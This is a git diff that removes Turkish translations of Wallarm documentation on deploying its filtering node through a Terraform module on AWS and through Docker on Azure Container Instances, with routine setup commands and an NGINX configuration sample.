              Varsayılan olarak `false`. | bool | Hayır -| `autoscaling_cpu_target` | AWS Auto Scaling grubunun korunacağı ortalama CPU kullanım yüzdesi. Varsayılan olarak `70.0`. | string | Hayır -| `ami_id` | Wallarm örneği dağıtımı için kullanılacak [Amazon Machine Image kimliği](https://docs.aws.amazon.com/managedservices/latest/userguide/find-ami.html). Varsayılan olarak (boş dize), en güncel imaj üst kaynaktan kullanılır. Wallarm düğümüne dayalı özel bir AMI oluşturabilirsiniz. | string | Hayır -| `key_name` | Wallarm örneklerine SSH ile bağlanmak için kullanılacak [AWS anahtar çiftinin adı](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html). Varsayılan olarak SSH bağlantısı devre dışıdır. | string | Hayır -| `tags` | Wallarm modülünün oluşturacağı AWS kaynakları için etiketler.| map(string) | Hayır - -## Örneklerle Wallarm Terraform Modülünü denemek - -Wallarm modülünü üretime dağıtmadan önce denemeniz için farklı kullanım şekillerine ait örnekler hazırladık: - -* [AWS VPC'de Proxy](proxy-in-aws-vpc.md) -* [Amazon API Gateway için Proxy](proxy-for-aws-api-gateway.md) - -## Wallarm ve Terraform hakkında daha fazla bilgi - -Terraform, birçok sağlayıcı (**provider**) ve kullanıma hazır yapılandırmaya (**module**) sahip olup, çeşitli üreticiler tarafından doldurulan herkese açık [kayıt](https://www.terraform.io/registry#navigating-the-registry) üzerinden kullanıcılara sunulur. - -Wallarm bu kayıt defterine şunları yayımladı: - -* Terraform uyumlu ortamdan AWS'ye düğüm dağıtımı için [Wallarm modülü](https://registry.terraform.io/modules/wallarm/wallarm/aws/). Bu makalede açıklanmıştır. -* Terraform aracılığıyla Wallarm'ı yönetmek için [Wallarm provider](../../../../admin-en/managing/terraform-provider.md). - -Bunlar, farklı amaçlar için kullanılan bağımsız öğelerdir; birbirlerini gerektirmezler. - -## Sınırlamalar -* [Kimlik bilgisi doldurma (credential stuffing) tespiti](../../../../about-wallarm/credential-stuffing.md) şu anda desteklenmemektedir \ No newline at end of file diff --git a/docs/latest-tr/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md b/docs/latest-tr/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md deleted file mode 100644 index 353318df4a..0000000000 --- a/docs/latest-tr/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md +++ /dev/null @@ -1,129 +0,0 @@ -# Amazon API Gateway için Proxy olarak Wallarm’ın Dağıtımı - -Bu örnek, [Amazon API Gateway](https://aws.amazon.com/api-gateway/)’i, [Terraform modülü](https://registry.terraform.io/modules/wallarm/wallarm/aws/) kullanılarak AWS Virtual Private Cloud (VPC) içine inline proxy olarak dağıtılan Wallarm ile nasıl koruyacağınızı göstermektedir. - -Wallarm proxy çözümü, WAAP ve API güvenliği işlevleriyle gelişmiş bir HTTP trafik yönlendiricisi olarak görev yapan ek bir fonksiyonel ağ katmanı sağlar. Yeteneklerini kısıtlamadan Amazon API Gateway dahil neredeyse her hizmet türüne istekleri yönlendirebilir. - -!!! info "Güvenlik notu" - Bu çözüm, AWS güvenlik en iyi uygulamalarını takip edecek şekilde tasarlanmıştır. Dağıtım için AWS root hesabını kullanmaktan kaçınmanızı öneririz. Bunun yerine, yalnızca gerekli izinlere sahip IAM kullanıcılarını veya rollerini kullanın. - - Dağıtım süreci, Wallarm bileşenlerini sağlamak ve işletmek için gereken en az erişimi vermeyi amaçlayan en az ayrıcalık ilkesine dayanır. - -## Kullanım durumları - -Desteklenen [Wallarm dağıtım seçenekleri](https://docs.wallarm.com/installation/supported-deployment-options) arasında, aşağıdaki kullanım durumlarında AWS VPC üzerinde Wallarm dağıtımı için Terraform modülü önerilir: - -* Mevcut altyapınız AWS üzerinde çalışıyor. -* Altyapı olarak Kod (IaC) uygulamasını benimsiyorsunuz. Wallarm’ın Terraform modülü, AWS üzerinde Wallarm node’unun otomatik yönetimini ve provizyonunu sağlar; verimliliği ve tutarlılığı artırır. - -## Gereksinimler - -* Yerel olarak [yüklü](https://learn.hashicorp.com/tutorials/terraform/install-cli) Terraform 1.0.5 veya üzeri -* US veya EU [Cloud](https://docs.wallarm.com/about-wallarm/overview/#cloud) içindeki Wallarm Console’da **Administrator** [rolüne](https://docs.wallarm.com/user-guides/settings/users/#user-roles) sahip hesaba erişim -* US Wallarm Cloud ile çalışıyorsanız `https://us1.api.wallarm.com`’a, EU Wallarm Cloud ile çalışıyorsanız `https://api.wallarm.com`’a erişim. Lütfen erişimin güvenlik duvarı tarafından engellenmediğinden emin olun -* Tercih ettiğiniz herhangi bir AWS bölgesi; Wallarm node dağıtımı için bölgede özel bir kısıtlama yoktur -* Terraform, AWS EC2, Security Groups ve diğer AWS hizmetlerine dair bilgi -* AWS root hesabı asla kaynak dağıtımı için kullanılmamalıdır - - Bu kılavuzda açıklanan dağıtımı gerçekleştirmek için, gerekli en az izinlere sahip özel bir IAM kullanıcısı veya rolü kullanın. -* Geniş izinlerin (örn. `AdministratorAccess`) kullanımından kaçının ve bu modülün çalışması için gereken spesifik eylemleri yalnızca gerekli olduğu kadar atayın - - Bu dağıtımda kullanılan IAM roller ve izinleri en az ayrıcalık ilkesine göre tasarlanmıştır. Yalnızca gerekli AWS kaynaklarını (örn. EC2, ağ, günlükleme) oluşturmak ve yönetmek için gereken izinler verilmelidir. - -## Çözüm mimarisi - -![Wallarm proxy şeması](https://github.com/wallarm/terraform-aws-wallarm/blob/main/images/wallarm-as-proxy-for-aws-api-gateway.png?raw=true) - -Örnek Wallarm proxy çözümü aşağıdaki bileşenlerden oluşur: - -* Trafiği Wallarm node örneklerine yönlendiren, internete açık bir Application Load Balancer. -* Trafiği analiz eden ve tüm istekleri API Gateway’e proxy eden Wallarm node örnekleri. - - Bu örnek, Wallarm node’larını anlatılan davranışı sağlayan monitoring mode’da çalıştırır. Wallarm node’ları, kötü amaçlı istekleri engellemeye ve yalnızca meşru olanları iletmeye yönelik olanlar dahil, başka modlarda da çalışabilir. Wallarm node modları hakkında daha fazla bilgi için [dokümantasyonumuzu](https://docs.wallarm.com/admin-en/configure-wallarm-mode/) kullanın. -* Wallarm node’larının istekleri proxy ettiği API Gateway. API Gateway aşağıdaki ayarlara sahiptir: - - * `/demo/demo` yolu atanmıştır. - * Tek bir mock yapılandırılmıştır. - * Bu Terraform modülü dağıtımı sırasında, API Gateway için "regional" veya "private" [uç nokta türlerinden](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-api-endpoint-types.html) birini seçebilirsiniz. Bu türlere ve aralarındaki geçişe dair daha fazla ayrıntı aşağıda verilmiştir. - - Sağlanan örneğin sıradan bir Amazon API Gateway dağıttığını ve bu nedenle çalışmasının Wallarm node’larından etkilenmeyeceğini lütfen unutmayın. - -Listelenen tüm bileşenler, API Gateway dahil, sağlanan `wallarm` örnek modülü tarafından dağıtılacaktır. - -## Kod bileşenleri - -Bu örnek aşağıdaki kod bileşenlerine sahiptir: - -* `main.tf`: proxy çözümü olarak dağıtılacak `wallarm` modülünün ana yapılandırması. Bu yapılandırma bir AWS ALB ve Wallarm örnekleri üretir. -* `apigw.tf`: `/demo/demo` yolundan erişilebilen ve tek bir mock entegrasyonu yapılandırılmış Amazon API Gateway’i üretir. Modül dağıtımı sırasında ayrıca "regional" veya "private" uç nokta türlerinden birini seçebilirsiniz (ayrıntılar aşağıda). -* `endpoint.tf`: API Gateway uç noktasının "private" türü için AWS VPC Endpoint yapılandırması. - -## "Regional" ve "private" API Gateway uç noktaları arasındaki fark - -API Gateway uç nokta türünü `apigw_private` değişkeni belirler: - -* "Regional" seçeneğinde, Wallarm node örnekleri genel erişime açık API Gateway [`execute-api`](https://docs.aws.amazon.com/apigateway/latest/developerguide/how-to-call-api.html) servisine istekleri iletir. -* "Private" seçeneğinde ise `execute-api` servisine bağlı AWS VPC Endpoint’lerine iletir. **Üretim dağıtımı için "private" seçeneği önerilir.** - -### API Gateway’e erişimi kısıtlama için ek seçenekler - -Amazon ayrıca, uç nokta türü "private" veya "regional" olsun olmasın, API Gateway’e erişimi aşağıdaki şekillerde kısıtlamanıza olanak tanır: - -* Her iki uç nokta türüyle de [resource policies](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies.html) kullanarak. -* Uç nokta türü "private" ise, [kaynak IP’lere göre](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies-examples.html) erişimi yöneterek. -* Uç nokta türü "private" ise, zaten tasarım gereği API Gateway’in genel ağlardan erişilemez olmasını varsaydığından, [VPC ve/veya Endpoint’e göre](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies-examples.html) erişimi yöneterek. - -### API Gateway uç nokta türleri arasında geçiş - -API Gateway uç nokta türünü bileşeni yeniden oluşturmadan değiştirebilirsiniz, ancak lütfen şunları dikkate alın: - -* Tür "regional"dan "private"a değiştirildiğinde, genel uç noktalar özel hale gelir ve genel kaynaklardan erişilemez olur. Bu, hem `execute-api` uç noktaları hem de alan adları için geçerlidir. -* Tür "private"tan "regional"a değiştirildiğinde, API Gateway’inize hedeflenen AWS VPC Endpoint’leri derhal ayrılır ve API Gateway kullanılamaz hale gelir. -* Topluluk sürümündeki NGINX DNS adı değişikliklerini otomatik olarak tespit edemediğinden, değiştirilen uç nokta türünü Wallarm node örneklerinde elle NGINX yeniden başlatması izlemelidir. - - Her bir örneği yeniden başlatabilir, yeniden oluşturabilir veya her örnekte `nginx -s reload` komutunu çalıştırabilirsiniz. - -Uç nokta türünü "regional"dan "private"a değiştiriyorsanız: - -1. Bir AWS VPC Endpoint oluşturun ve `execute-api`ye bağlayın. Örneğini `endpoint.tf` yapılandırma dosyasında bulacaksınız. -1. API Gateway uç nokta türünü değiştirin ve API Gateway yapılandırmasında AWS VPC Endpoint’i belirtin. Tamamlandığında trafik akışı duracaktır. -1. Her Wallarm node örneğinde `nginx -s reload` çalıştırın veya her Wallarm node’u yeniden oluşturun. Tamamlandığında trafik akışı geri gelecektir. - -Uç nokta türünü "private"tan "regional"a değiştirmek önerilmez, ancak yine de yaparsanız: - -1. "Private" modda çalışmak için gerekli endpoint’i kaldırın ve ancak bundan sonra API Gateway uç noktasını "regional"a çevirin. -1. Her Wallarm node örneğinde `nginx -s reload` çalıştırın veya her Wallarm node’u yeniden oluşturun. Tamamlandığında trafik akışı geri gelecektir. - -**Üretim için, API Gateway’inizi "private"a değiştirmeniz önerilir**, aksi halde Wallarm node’larından API Gateway’e trafik genel ağ üzerinden geçecek ve ek ücretlere neden olabilir. - -## API Gateway için örnek Wallarm AWS proxy çözümünü çalıştırma - -1. [EU Cloud](https://my.wallarm.com/nodes) veya [US Cloud](https://us1.my.wallarm.com/nodes) içinde Wallarm Console’a kaydolun. -1. Wallarm Console → **Nodes**’u açın ve **Wallarm node** türünde node oluşturun. -1. Oluşturulan node token’ını kopyalayın. -1. Örnek kodu içeren depoyu makinenize klonlayın: - - ``` - git clone https://github.com/wallarm/terraform-aws-wallarm.git - ``` -1. Klonlanan deponun `examples/apigateway/variables.tf` dosyasındaki `default` seçeneklerinde değişken değerlerini ayarlayın ve değişiklikleri kaydedin. -1. `examples/apigateway` dizininden aşağıdaki komutları çalıştırarak yığını dağıtın: - - ``` - terraform init - terraform apply - ``` - -Dağıtılan ortamı kaldırmak için aşağıdaki komutu kullanın: - -``` -terraform destroy -``` - -## Referanslar - -* [Genel ve özel alt ağlara (NAT) sahip AWS VPC](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html) -* [API Gateway Private API’ler](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-private-apis.html) -* [API Gateway İlkeleri](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies.html) -* [API Gateway İlkeleri örnekleri](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies-examples.html) -* [API Gateway Türleri](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-api-endpoint-types.html) \ No newline at end of file diff --git a/docs/latest-tr/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md b/docs/latest-tr/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md deleted file mode 100644 index 4af6b14b83..0000000000 --- a/docs/latest-tr/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md +++ /dev/null @@ -1,115 +0,0 @@ -# AWS VPC'de Proxy olarak Wallarm'ı Dağıtma - -Bu örnek, [Terraform modülünü](https://registry.terraform.io/modules/wallarm/wallarm/aws/) kullanarak mevcut bir AWS Virtual Private Cloud (VPC) içine satır içi (inline) proxy olarak Wallarm'ı nasıl dağıtacağınızı gösterir. - -Wallarm proxy çözümü, WAAP ve API güvenlik işlevleriyle gelişmiş bir HTTP trafik yönlendiricisi olarak hizmet veren ek bir işlevsel ağ katmanı sağlar. - -[ileri seviye proxy çözümünü](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced) deneyerek çözümün esnekliğini pratikte görebilirsiniz. - -!!! info "Güvenlik notu" - Bu çözüm, AWS güvenlik en iyi uygulamalarını takip edecek şekilde tasarlanmıştır. Dağıtım için AWS root hesabının kullanılmamasını öneririz. Bunun yerine, yalnızca gerekli izinlere sahip IAM kullanıcılarını veya rollerini kullanın. - - Dağıtım süreci, Wallarm bileşenlerini sağlamak ve işletmek için yalnızca asgari erişimin verildiği en az ayrıcalık ilkesini varsayar. - -## Kullanım senaryoları - -Desteklenen tüm [Wallarm dağıtım seçenekleri](https://docs.wallarm.com/installation/supported-deployment-options) arasında, aşağıdaki kullanım senaryolarında AWS VPC üzerinde Wallarm dağıtımı için Terraform modülü önerilir: - -* Mevcut altyapınız AWS üzerinde bulunuyor. -* Infrastructure as Code (IaC) uygulamasını benimsiyorsunuz. Wallarm'ın Terraform modülü, Wallarm node'unun AWS üzerinde otomatik yönetimi ve sağlanmasına olanak tanıyarak verimliliği ve tutarlılığı artırır. - -## Gereksinimler - -* Terraform 1.0.5 veya üzeri [yerel olarak kurulu](https://learn.hashicorp.com/tutorials/terraform/install-cli) -* US veya EU [Cloud](https://docs.wallarm.com/about-wallarm/overview/#cloud) içindeki Wallarm Console'da **Administrator** [rolü](https://docs.wallarm.com/user-guides/settings/users/#user-roles) olan hesaba erişim -* US Wallarm Cloud ile çalışıyorsanız `https://us1.api.wallarm.com` veya EU Wallarm Cloud ile çalışıyorsanız `https://api.wallarm.com` erişimi. Lütfen erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun -* Tercih ettiğiniz herhangi bir AWS bölgesi; Wallarm node dağıtımı için bölgeye ilişkin özel bir kısıtlama yoktur -* Terraform, AWS EC2, Security Groups ve diğer AWS servisleri hakkında bilgi -* AWS root hesabı hiçbir zaman kaynak dağıtımı için kullanılmamalıdır - - Lütfen bu kılavuzda açıklanan dağıtımı gerçekleştirmek için gerekli en az izinlere sahip özel bir IAM kullanıcısı veya rolü kullanın. -* Geniş yetkilerden (örn. `AdministratorAccess`) kaçının ve bu modülün çalışması için gereken belirli işlemleri atayın - - Bu dağıtımda kullanılan IAM roller ve izinler, en az ayrıcalık ilkesine göre tasarlanmıştır. Yalnızca gerekli AWS kaynaklarını (örn. EC2, ağ, günlükleme) oluşturmak ve yönetmek için gereken izinler verilmelidir. - -## Çözüm mimarisi - -![Wallarm proxy şeması](https://github.com/wallarm/terraform-aws-wallarm/blob/main/images/wallarm-as-proxy.png?raw=true) - -Örnek Wallarm proxy çözümü aşağıdaki bileşenlere sahiptir: - -* İnternete açık Application Load Balancer, trafiği Wallarm node instance'larına yönlendirir. -* Wallarm node instance'ları trafiği analiz eder ve istekleri ileriye proxy'ler. Şemadaki karşılık gelen öğeler A, B, C EC2 instance'larıdır. - - Örnek, Wallarm node'larını açıklanan davranışı sağlayan izleme modunda çalıştırır. Wallarm node'ları, kötü amaçlı istekleri engellemeye ve yalnızca meşru olanları iletmeye yönelik olanlar da dahil olmak üzere diğer modlarda da çalışabilir. Wallarm node modları hakkında daha fazla bilgi için [belgelerimizi](https://docs.wallarm.com/admin-en/configure-wallarm-mode/) kullanın. -* Wallarm node'larının istekleri proxy'lediği servisler. Servis herhangi bir türde olabilir, örneğin: - - * VPC Endpoints aracılığıyla VPC'ye bağlı AWS API Gateway uygulaması (ilgili Wallarm Terraform dağıtımı [API Gateway için örnek](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/apigateway)te ele alınmıştır) - * AWS S3 - * EKS kümesinde çalışan EKS node'ları (bu durum için Internal Load Balancer veya NodePort Service yapılandırılması önerilir) - * Diğer herhangi bir backend servis - - Varsayılan olarak, Wallarm node'ları trafiği `https://httpbin.org` adresine iletir. Bu örneği başlatırken, AWS Virtual Private Cloud (VPC) içinden erişilebilen başka herhangi bir servis alan adını veya yolunu belirterek trafiği oraya proxy'leyebilirsiniz. - - `https_redirect_code = 302` modül yapılandırma seçeneği, AWS ALB tarafından HTTP isteklerini HTTPS'e güvenli şekilde yönlendirmenizi sağlar. - -Yukarıda listelenen bileşenlerin tamamı (proxy'lenen sunucu hariç) sağlanan `wallarm` örnek modülü tarafından dağıtılacaktır. - -## Kod bileşenleri - -Bu örnek aşağıdaki kod bileşenlerine sahiptir: - -* `main.tf`: proxy çözümü olarak dağıtılacak `wallarm` modülünün ana yapılandırması. Bu yapılandırma bir AWS ALB ve Wallarm instance'ları üretir. -* `ssl.tf`: `domain_name` değişkeninde belirtilen alan adı için otomatik olarak yeni bir AWS Certificate Manager (ACM) sertifikası çıkaran ve bunu AWS ALB'ye bağlayan SSL/TLS offload yapılandırması. - - Özelliği devre dışı bırakmak için `ssl.tf` ve `dns.tf` dosyalarını kaldırın veya yorum satırı yapın ve ayrıca `wallarm` modül tanımındaki `lb_ssl_enabled`, `lb_certificate_arn`, `https_redirect_code`, `depends_on` seçeneklerini yorum satırı yapın. Özellik devre dışı bırakıldığında yalnızca HTTP portunu (80) kullanabileceksiniz. -* `dns.tf`: AWS ALB için DNS kaydı sağlayan AWS Route 53 yapılandırması. - - Özelliği devre dışı bırakmak için yukarıdaki notu izleyin. - -## Örnek Wallarm AWS proxy çözümünü çalıştırma - -1. [EU Cloud](https://my.wallarm.com/nodes) veya [US Cloud](https://us1.my.wallarm.com/nodes) içinde Wallarm Console'a kaydolun. -1. Wallarm Console'u açın → **Nodes** ve **Wallarm node** türünde bir node oluşturun. -1. Oluşturulan node token'ını kopyalayın. -1. Örnek kodu içeren depoyu makinenize klonlayın: - - ``` - git clone https://github.com/wallarm/terraform-aws-wallarm.git - ``` -1. Klonlanan depodaki `examples/proxy/variables.tf` dosyasında `default` seçeneklerindeki değişken değerlerini ayarlayın ve değişiklikleri kaydedin. -1. Proxy'lenen sunucunun protokol ve adresini `examples/proxy/main.tf` → `proxy_pass` içinde ayarlayın. - - Varsayılan olarak, Wallarm trafiği `https://httpbin.org` adresine proxy'ler. Varsayılan değer ihtiyaçlarınızı karşılıyorsa olduğu gibi bırakın. -1. Yığını `examples/proxy` dizininden aşağıdaki komutları çalıştırarak dağıtın: - - ``` - terraform init - terraform apply - ``` - -Dağıtılan ortamı kaldırmak için aşağıdaki komutu kullanın: - -``` -terraform destroy -``` - -## Sorun giderme - -### Wallarm sürekli instance oluşturup sonlandırıyor - -Sağlanan AWS Auto Scaling grup yapılandırması, en yüksek güvenilirlik ve hizmet sürekliliğine odaklanır. AWS Auto Scaling grubu başlatma sırasında EC2 instance'larının tekrarlı oluşturulup sonlandırılması, başarısız sağlık kontrollerinden kaynaklanabilir. - -Sorunu gidermek için lütfen aşağıdaki ayarları gözden geçirip düzeltin: - -* Wallarm node token'ı, Wallarm Console UI'dan kopyalanmış geçerli değere sahiptir -* NGINX yapılandırması geçerlidir -* NGINX yapılandırmasında belirtilen alan adları başarıyla çözümlenmiştir (örn. `proxy_pass` değeri) - - -**AŞIRI YÖNTEM** Yukarıdaki ayarlar geçerliyse, Auto Scaling grup ayarlarında ELB sağlık kontrollerini manuel olarak devre dışı bırakarak sorunun nedenini bulmayı deneyebilirsiniz. Bu, hizmet yapılandırması geçersiz olsa bile instance'ları aktif tutar, instance'lar yeniden başlatılmaz. Böylece birkaç dakika içinde sorunu araştırmak yerine günlükleri ayrıntılı şekilde inceleyip hizmeti hata ayıklayabilirsiniz. - -## Başvurular - -* [AWS ACM sertifikaları](https://docs.aws.amazon.com/acm/latest/userguide/gs.html) -* [Genel ve özel alt ağlara (NAT) sahip AWS VPC](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html) \ No newline at end of file diff --git a/docs/latest-tr/installation/cloud-platforms/aws/terraform-module/terraform-aws-wallarm b/docs/latest-tr/installation/cloud-platforms/aws/terraform-module/terraform-aws-wallarm deleted file mode 160000 index 5d1644de1d..0000000000 --- a/docs/latest-tr/installation/cloud-platforms/aws/terraform-module/terraform-aws-wallarm +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 5d1644de1d82e8b24d2e76ad8070bffa4867518c diff --git a/docs/latest-tr/installation/cloud-platforms/azure/docker-container.md b/docs/latest-tr/installation/cloud-platforms/azure/docker-container.md deleted file mode 100644 index c554b87b19..0000000000 --- a/docs/latest-tr/installation/cloud-platforms/azure/docker-container.md +++ /dev/null @@ -1,207 +0,0 @@ -# Wallarm Docker İmajının Azure’a Dağıtımı - -Bu hızlı kılavuz, [NGINX tabanlı Wallarm düğümünün Docker imajını](https://hub.docker.com/r/wallarm/node), [Azure **Container Instances** hizmetini](https://docs.microsoft.com/en-us/azure/container-instances/) kullanarak Microsoft Azure bulut platformuna dağıtma adımlarını sunar. - -!!! warning "Talimatların sınırlamaları" - Bu talimatlar yük dengeleme ve düğüm otomatik ölçeklendirme yapılandırmasını kapsamaz. Bu bileşenleri kendiniz kuracaksanız, [Azure Application Gateway](https://docs.microsoft.com/en-us/azure/application-gateway/overview) belgelerini okumanızı öneririz. - -## Kullanım senaryoları - ---8<-- "../include/waf/installation/cloud-platforms/azure-container-instances-use-cases.md" - -## Gereksinimler - -* Etkin Azure aboneliği -* [Azure CLI yüklü](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli) -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console’da **Administrator** rolüne sahip hesaba erişim -* Saldırı tespit kurallarını ve [API spesifikasyonlarını][api-policy-enf-docs] güncellemek, ayrıca [allowlisted, denylisted veya graylisted][graylist-docs] ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP’leri almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" - -## Wallarm düğümü Docker konteyneri yapılandırma seçenekleri - ---8<-- "../include/waf/installation/docker-running-options.md" - -## Ortam değişkenleri ile yapılandırılmış Wallarm düğümü Docker konteynerinin dağıtımı - -Yalnızca ortam değişkenleri ile yapılandırılmış konteynerleştirilmiş Wallarm filtreleme düğümünü dağıtmak için aşağıdaki araçları kullanabilirsiniz: - -* [Azure CLI](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-quickstart) -* [Azure portal](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-quickstart-portal) -* [Azure PowerShell](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-quickstart-powershell) -* [ARM şablonu](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-quickstart-template) -* [Docker CLI](https://docs.microsoft.com/en-us/azure/container-instances/quickstart-docker-cli) - -Bu talimatlarda, konteyner Azure CLI kullanılarak dağıtılır. - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. [`az login`](https://docs.microsoft.com/en-us/cli/azure/reference-index?view=azure-cli-latest#az_login) komutunu kullanarak Azure CLI’a oturum açın: - - ```bash - az login - ``` -1. [`az group create`](https://docs.microsoft.com/en-us/cli/azure/group?view=azure-cli-latest#az_group_create) komutunu kullanarak bir kaynak grubu oluşturun. Örneğin, aşağıdaki komutla East US bölgesinde `myResourceGroup` grubunu oluşturun: - - ```bash - az group create --name myResourceGroup --location eastus - ``` -1. Örneği Wallarm Cloud’a bağlamak için kullanılacak Wallarm düğüm belirtecini içeren yerel ortam değişkenini ayarlayın: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. [`az container create`](https://docs.microsoft.com/en-us/cli/azure/container?view=azure-cli-latest#az_container_create) komutunu kullanarak Wallarm düğümü Docker konteynerinden bir Azure kaynağı oluşturun: - - === "Wallarm US Cloud için komut" - ```bash - az container create \ - --resource-group myResourceGroup \ - --name wallarm-node \ - --dns-name-label wallarm \ - --ports 80 \ - --image registry-1.docker.io/wallarm/node:6.5.1 \ - --environment-variables WALLARM_API_TOKEN=${WALLARM_API_TOKEN} NGINX_BACKEND='example.com' WALLARM_API_HOST='us1.api.wallarm.com' WALLARM_LABELS='group=' - ``` - === "Wallarm EU Cloud için komut" - ```bash - az container create \ - --resource-group myResourceGroup \ - --name wallarm-node \ - --dns-name-label wallarm \ - --ports 80 \ - --image registry-1.docker.io/wallarm/node:6.5.1 \ - --environment-variables WALLARM_API_TOKEN=${WALLARM_API_TOKEN} NGINX_BACKEND='example.com' WALLARM_LABELS='group=' - ``` - - * `--resource-group`: ikinci adımda oluşturulan kaynak grubunun adı. - * `--name`: konteynerin adı. - * `--dns-name-label`: konteyner için DNS ad etiketi. - * `--ports`: filtreleme düğümünün dinlediği bağlantı noktası. - * `--image`: Wallarm düğümü Docker imajının adı. - * `--environment-variables`: filtreleme düğümü yapılandırmasını içeren ortam değişkenleri (kullanılabilir değişkenler aşağıdaki tabloda listelenmiştir). Lütfen `WALLARM_API_TOKEN` değerini açıkça iletmeniz önerilmez. - - --8<-- "../include/waf/installation/nginx-docker-all-env-vars-latest.md" -1. [Azure portalını](https://portal.azure.com/) açın ve oluşturulan kaynağın kaynaklar listesinde görüntülendiğinden emin olun. -1. [Filtreleme düğümünün çalışmasını test edin](#testing-the-filtering-node-operation). - -## Bağlanmış dosya üzerinden yapılandırılmış Wallarm düğümü Docker konteynerinin dağıtımı - -Ortam değişkenleri ve bağlanmış dosya üzerinden yapılandırılan konteynerleştirilmiş Wallarm filtreleme düğümünü dağıtmak için yalnızca [Azure CLI](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli) kullanılabilir. - -Ortam değişkenleri ve bağlanmış yapılandırma dosyasıyla konteyneri dağıtmak için: - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. [`az login`](https://docs.microsoft.com/en-us/cli/azure/reference-index?view=azure-cli-latest#az_login) komutunu kullanarak Azure CLI’a oturum açın: - - ```bash - az login - ``` -1. [`az group create`](https://docs.microsoft.com/en-us/cli/azure/group?view=azure-cli-latest#az_group_create) komutunu kullanarak bir kaynak grubu oluşturun. Örneğin, aşağıdaki komutla East US bölgesinde `myResourceGroup` grubunu oluşturun: - - ```bash - az group create --name myResourceGroup --location eastus - ``` -1. Filtreleme düğümü ayarlarını içeren bir yapılandırma dosyasını yerel olarak oluşturun. Minimum ayarlarla dosya örneği: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - #listen 443 ssl; - - server_name localhost; - - #ssl_certificate cert.pem; - #ssl_certificate_key cert.key; - - root /usr/share/nginx/html; - - index index.html index.htm; - - wallarm_mode monitoring; - # wallarm_application 1; - - location / { - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - [Yapılandırma dosyasında belirtilebilen filtreleme düğümü yönergeleri kümesi →][nginx-waf-directives] -1. Yapılandırma dosyasını, Azure’da veri birimlerini bağlamak için uygun yöntemlerden biriyle konumlandırın. Tüm yöntemler Azure belgelerinin [**Mount data volumes** bölümünde](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-volume-azure-files) açıklanmıştır. - - Bu talimatlarda, yapılandırma dosyası Git deposundan bağlanır. -1. Örneği Wallarm Cloud’a bağlamak için kullanılacak Wallarm düğüm belirtecini içeren yerel ortam değişkenini ayarlayın: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. [`az container create`](https://docs.microsoft.com/en-us/cli/azure/container?view=azure-cli-latest#az_container_create) komutunu kullanarak Wallarm düğümü Docker konteynerinden bir Azure kaynağı oluşturun: - - === "Wallarm US Cloud için komut" - ```bash - az container create \ - --resource-group myResourceGroup \ - --name wallarm-node \ - --dns-name-label wallarm \ - --ports 80 \ - --image registry-1.docker.io/wallarm/node:6.5.1 \ - --gitrepo-url \ - --gitrepo-mount-path /etc/nginx/http.d \ - --environment-variables WALLARM_API_TOKEN=${WALLARM_API_TOKEN} WALLARM_API_HOST='us1.api.wallarm.com' WALLARM_LABELS='group=' - ``` - === "Wallarm EU Cloud için komut" - ```bash - az container create \ - --resource-group myResourceGroup \ - --name wallarm-node \ - --dns-name-label wallarm \ - --ports 80 \ - --image registry-1.docker.io/wallarm/node:6.5.1 \ - --gitrepo-url \ - --gitrepo-mount-path /etc/nginx/http.d \ - --environment-variables WALLARM_API_TOKEN=${WALLARM_API_TOKEN} WALLARM_LABELS='group=' - ``` - - * `--resource-group`: 2. adımda oluşturulan kaynak grubunun adı. - * `--name`: konteynerin adı. - * `--dns-name-label`: konteyner için DNS ad etiketi. - * `--ports`: filtreleme düğümünün dinlediği bağlantı noktası. - * `--image`: Wallarm düğümü Docker imajının adı. - * `--gitrepo-url`: yapılandırma dosyasını içeren Git deposunun URL’si. Dosya depo kökünde bulunuyorsa yalnızca bu parametreyi iletmeniz gerekir. Dosya ayrı bir Git depo dizininde bulunuyorsa lütfen `--gitrepo-dir` parametresinde dizinin yolunu da iletin (örneğin,
